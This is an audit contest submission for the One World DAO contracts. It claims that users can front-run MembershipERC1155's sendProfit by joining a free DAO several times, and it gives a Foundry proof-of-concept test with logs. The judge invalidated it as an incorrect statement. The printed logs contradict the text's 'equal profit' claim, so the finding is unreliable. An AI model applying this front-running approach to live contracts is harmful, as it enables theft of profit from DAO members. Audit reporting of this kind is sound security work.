Project

One World
NFTDeFi
15,000 USDC
View results
Submission Details
Severity: medium
Invalid

New user can join a `free` membership DAO right before `MembershipERC1155::sendProfit` and immediately claim profit

Summary

In MembershipERC1155, new members can join immediately before a profit distribution and claim the same share as long-term members, this could be unfair for loyal DAO members.

This issue has been reported by Cyfrin team in their previous audit report, and one-world replied users will need to acquire a significant amount of shares to gain profit. However, this assumption breaks down when:

  1. The DAO is created with tierPrice = 0 (free membership) or cheap membership DAO, the user then can join multiple times to gain shares

Vulnerability Details

The sendProfit() function distributes profits equally among all token holders at the time of distribution, regardless of how long they've held their tokens. This is especially viable if the tier price is 0 (free to join), this creates a zero-cost exploitation.

This allows for opportunistic users to:

  1. Monitor the mempool for incoming sendProfit calls

  2. Front-run sendProfit by calling MembershipFactory::joinDAO multiple times and claim profit

Impact

Proof of Concept

function test_newUserCanClaimEqualProfit() public {
// 1. Setup DAO with single tier
DAOInputConfig memory config = DAOInputConfig({
ensname: "test",
daoType: DAOType.PUBLIC,
currency: address(currency),
maxMembers: 100,
noOfTiers: 1
});
TierConfig[] memory tiers = new TierConfig[]();
// free membership
tiers[0] = TierConfig({price: 0, amount: 10, power: 1, minted: 0});
// 2. Alice creates and joins DAO
vm.startPrank(alice);
address daoAddress = factory.createNewDAOMembership(config, tiers);
factory.joinDAO(daoAddress, 0);
vm.stopPrank();
// 1 year after Alice joined
vm.warp(block.timestamp + 365 days);
// Bob see the donor's sendProfit in mempool and frontrun it
// Bob doesn't have to spend any token to get free profit
console2.log("Bob's currency before", currency.balanceOf(bob));
vm.startPrank(bob);
factory.joinDAO(daoAddress, 0);
factory.joinDAO(daoAddress, 0);
// ... joins multiple times
vm.stopPrank();
console2.log("Bob's currency after", currency.balanceOf(bob));
// donor send fund to DAO
vm.startPrank(donor);
currency.approve(daoAddress, 1000e18);
MembershipERC1155(daoAddress).sendProfit(10e18);
vm.stopPrank();
// Alice and Bob can claim the same amount of profit
uint256 aliceProfit = MembershipERC1155(daoAddress).profitOf(alice);
console2.log("Alice's claimable profit:", aliceProfit);
uint256 bobProfit = MembershipERC1155(daoAddress).profitOf(bob);
console2.log("Bob's claimable profit:", bobProfit);
}

Test logs show that Bob doesn't have to spend any tokens and still gets the same amount of profit.

Logs:
Bob's currency before 1000000000000000000000
Bob's currency after 1000000000000000000000
Alice's claimable profit: 2500000000000000000
Bob's claimable profit: 7500000000000000000

Impact

This causes unfair profit distribution, reduced incentives for long-term membership and financial commitment

Tools Used

  • Manual review

  • Foundry

Recommendations

Depending on business logic, there are a few mitigation options

  1. Implement a time-tracking feature.

  2. Ensure DAO tierPrice != 0

Updates

Lead Judging Commences

0xbrivan2 Lead Judge 9 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Appeal created

4lifemen Submitter
9 months ago
0xbrivan2 Lead Judge
9 months ago
0xbrivan2 Lead Judge 9 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.